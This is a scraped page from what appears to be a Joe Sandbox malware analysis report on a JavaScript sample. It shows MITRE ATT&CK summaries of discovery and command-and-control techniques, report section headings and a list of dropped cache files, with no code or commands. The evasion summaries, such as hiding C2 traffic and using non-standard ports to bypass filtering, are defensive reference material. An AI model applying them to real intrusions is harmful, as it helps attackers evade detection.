Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2836992752554325080.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a2a66c75-d910-40ba-ab9f-ace8fae8d69e.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2740

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
2836992752554325080.js